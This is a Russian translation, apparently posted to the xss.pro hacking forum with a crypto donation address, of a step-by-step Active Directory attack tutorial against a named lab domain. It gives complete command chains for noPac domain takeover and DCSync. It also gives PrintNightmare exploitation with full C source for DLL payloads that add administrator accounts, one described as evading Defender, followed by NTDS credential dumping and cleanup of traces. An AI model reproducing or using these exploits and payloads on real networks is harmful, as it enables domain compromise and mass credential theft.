ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы играли с реле ntlm. В этой же продолжим разбирать что можно сделать, используя действующую учетную запись домена.
Здесь мы попробуем только эксплойт samAccountName и PrintNightmare, так как MS14-068 уже устарел (Windows Server 2012 R2 max).
SamAccountName (nopac)
В конце 2021 года, когда всех беспокоила уязвимость log4j «log4shell», появилась другая уязвимость с меньшим шумом: CVE-2021-42287.
Давайте найдем модуль cme для проверки квоты учетной записи машины.
Клониреум репозиторий impacket
Создайте нашу ветку git
Создайте venv, чтобы не мешать среде хоста, и установите репозиторий, который мы только что проверили.

Переименуйте компьютер (компьютер -> DC)
Получите TGT
Сбросить имя компьютера к исходному имени
Получите сервисный билет с помощью S4U2self, предъявив предыдущий TGT.
DCSync, предъявив сервисный билет
Используем impacket rpcdump
Подготовим impacket
Пробуем на Braavos
Braavos - это обновленный сервер Windows 2016, эксплойт не сработает (та же ошибка, если вы попробуете северный домен на сервере castelblack)
Пробуем в Meereen
Сроботал
Подождите, вы используете подключение к домену вместо --local-auth с cme no ?
с этой полезной нагрузкой мы можем обойти защитника и добавить нашего пользователя в качестве администратора. Скомпилируем:
Еще немного подготовительных действий
перезапустим эксплойт
И наслаждайтесь своей новой учетной записью администратора, сбросив ntds
Заметаем следы
После эксплуатации вы найдете свои dll внутри: C:\Windows\System32\spool\drivers\x64\3
В следующий раз мы повеселимся с ADCS (Certifried, ESC1, ESC8, …)
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов
В предыдущем посте мы играли с реле ntlm. В этой же продолжим разбирать что можно сделать, используя действующую учетную запись домена.
Здесь мы попробуем только эксплойт samAccountName и PrintNightmare, так как MS14-068 уже устарел (Windows Server 2012 R2 max).
SamAccountName (nopac)
В конце 2021 года, когда всех беспокоила уязвимость log4j «log4shell», появилась другая уязвимость с меньшим шумом: CVE-2021-42287.
- Я не буду повторно объяснять уязвимость, так как она прекрасно описана здесь Чарли Кларком: https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html .
- Атака на Windows была автоматизирована с помощью cube0x0: https://github.com/cube0x0/noPac .
- И в Linux путем выключения: https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing (все еще в запросах на вытягивание импактов: https://github.com/SecureAuthCorp/impacket/pull/1202 и https: //github.com/SecureAuthCorp/impacket/pull/1224 )
- Как большой поклонник Linux и Exegol, мы попробуем путь Linux
Проверьте, можем ли мы добавить компьютер
Для этой атаки я буду использовать north/jon.snow:iknownothingучетная запись, которую мы ранее получали с помощью kerberoasting в части 3.Давайте найдем модуль cme для проверки квоты учетной записи машины.
Код:
cme ldap -L
Код:
cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ
Клониреум репозиторий impacket
Код:
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket
Создайте нашу ветку git
Код:
cd myimpacket
git checkout -b mydev
Создайте venv, чтобы не мешать среде хоста, и установите репозиторий, который мы только что проверили.
Код:
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
python3 -m pip install .
- Получим ожидаемые запросы на включение, которые нам нужны (вы можете найти огромный список хороших PR для слияния в сценарии установки exegol: https://github.com/ShutdownRepo/Exegol-images/blame/main/sources/install.sh#L286)
Код:
git fetch origin pull/1224/head:1224
git fetch origin pull/1202/head:1202
- Сливаем пулреквесты в нашу ветку
Код:
git merge 1202
git merge 1224
- Измените порядок результатов записи пути, чтобы загрузить нашу корзину pyenv раньше других в $ PATH (это необходимо для zsh, в bash она принимает непосредственно наши ячейки pyenv)
Код:
rehash
- Теперь давайте проверим, что мы получили все двоичные файлы и параметры, которые нам нужны:
Код:
renameMachine.py
getST.py
- Отлично, теперь мы используем последнюю версию impacket с пулл-реквестами Shutdown (@_nwodtuhs), необходимыми для этой атаки
Эксплойт
Что мы сделаем, так это добавим компьютер, очистим SPN этого компьютера, переименуем компьютер с тем же именем, что и контроллер домена, получим TGT для этого компьютера, восстановим исходное имя компьютера, получим билет службы с TGT, который мы получить ранее и, наконец, dcsync- Добавить новый компьютер
Код:
addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'
- Очистите имена участников-служб нашего нового компьютера (с помощью инструмента dirkjan krbrelayx addspn)
Код:
addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'
Переименуйте компьютер (компьютер -> DC)
Код:
renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing
Получите TGT
Код:
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'
Сбросить имя компьютера к исходному имени
Код:
renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing
Получите сервисный билет с помощью S4U2self, предъявив предыдущий TGT.
Код:
export KRB5CCNAME=/workspace/winterfell.ccache
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug
DCSync, предъявив сервисный билет
Код:
export KRB5CCNAME=/workspace/administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'
- И вуаля, мы получили всю информацию о северном домене ntds.dit
- Теперь очистите, удалив компьютер, который мы создали с хэшем учетной записи администратора, который мы только что получили.
Код:
addcomputer.py -computer-name 'samaccountname$' -delete -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH -hashes 'aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4' 'north.sevenkingdoms.local/Administrator'
Код:
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Successfully deleted samaccountname$.
PrintNightmare
Чтобы использовать printnightmare, мы сначала проверим, активен ли спулер на целях.Проверьте, активен ли spooler
- с смe
Код:
cme smb 192.168.56.10-23 -M spooler
Используем impacket rpcdump
Код:
rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'
Подготовим impacket
- Для эксплуатации со скриптом cube0x0 вам больше не нужна модифицированная версия impacket, так как модификации были объединены в основной проект:
Подготовьте DLL
- Подготовим dll эксплуатации
- Мы создадим пользователя и добавим его как локального администратора
- Создайте файл nightmare.c
Код:
#include <windows.h>
int RunCMD()
{
system("net users pnightmare Passw0rd123. /add");
system("net localgroup administrators pnightmare /add");
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
- Скомпилируйте:
Код:
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
Эксплойт на старом и уязвимом сервере Windows 2016 (meereen)
- Клонировать эксплойт
Код:
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare
- Подготовьте общий ресурс smb с dll
Код:
smbserver.py -smb2support ATTACKERSHARE .
Пробуем на Braavos
Braavos - это обновленный сервер Windows 2016, эксплойт не сработает (та же ошибка, если вы попробуете северный домен на сервере castelblack)
Пробуем в Meereen
Код:
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
Сроботал
Подождите, вы используете подключение к домену вместо --local-auth с cme no ?
- Да, это потому, что meereen является контроллером домена:
Эксплойт на уязвимом сервере Windows 2019 (winterfell)
- Теперь попробуйте тот же эксплойт на уязвимом сервере Windows 2019.
Код:
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
- И это тоже работает, но пользователя нет в группе администраторов
- Полезно знать: после некоторых сбоев служба спулера будет остановлена защитником, и вы больше не сможете использовать его, пока кто-нибудь не перезапустит сервер или службу спулера.
- Давайте изменим полезную нагрузку другим кодом (источник: https://github.com/newsoft/adduser)
Код:
/*
* ADDUSER.C: creating a Windows user programmatically.
*/
#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>
DWORD CreateAdminUserInternal(void)
{
NET_API_STATUS rc;
BOOL b;
DWORD dw;
USER_INFO_1 ud;
LOCALGROUP_MEMBERS_INFO_0 gd;
SID_NAME_USE snu;
DWORD cbSid = 256; // 256 bytes should be enough for everybody :)
BYTE Sid[256];
DWORD cbDomain = 256 / sizeof(TCHAR);
TCHAR Domain[256];
// Create user
memset(&ud, 0, sizeof(ud));
ud.usri1_name = _T("pnightmare2"); // username
ud.usri1_password = _T("Test123456789!"); // password
ud.usri1_priv = USER_PRIV_USER; // cannot set USER_PRIV_ADMIN on creation
ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
ud.usri1_script_path = NULL;
rc = NetUserAdd(
NULL, // local server
1, // information level
(LPBYTE)&ud,
NULL // error value
);
if (rc != NERR_Success) {
_tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
_tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
// Get user SID
b = LookupAccountName(
NULL, // local server
ud.usri1_name, // account name
Sid, // SID
&cbSid, // SID size
Domain, // Domain
&cbDomain, // Domain size
&snu // SID_NAME_USE (enum)
);
if (!b) {
dw = GetLastError();
_tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
return dw;
}
// Add user to "Administrators" local group
memset(&gd, 0, sizeof(gd));
gd.lgrmi0_sid = (PSID)Sid;
rc = NetLocalGroupAddMembers(
NULL, // local server
_T("Administrators"),
0, // information level
(LPBYTE)&gd,
1 // only one entry
);
if (rc != NERR_Success) {
_tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
return rc;
}
return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
CreateAdminUserInternal();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
return CreateAdminUserInternal();
}
с этой полезной нагрузкой мы можем обойти защитника и добавить нашего пользователя в качестве администратора. Скомпилируем:
Код:
x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32
Еще немного подготовительных действий
Код:
smbserver.py -smb2support ATTACKERSHARE .
перезапустим эксплойт
Код:
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\pnightmare2.dll'
И наслаждайтесь своей новой учетной записью администратора, сбросив ntds
Код:
cme smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!' --ntds
Заметаем следы
После эксплуатации вы найдете свои dll внутри: C:\Windows\System32\spool\drivers\x64\3
- А также внутри: C:\Windows\System32\spool\drivers\x64\3\Old\{id}\
В следующий раз мы повеселимся с ADCS (Certifried, ESC1, ESC8, …)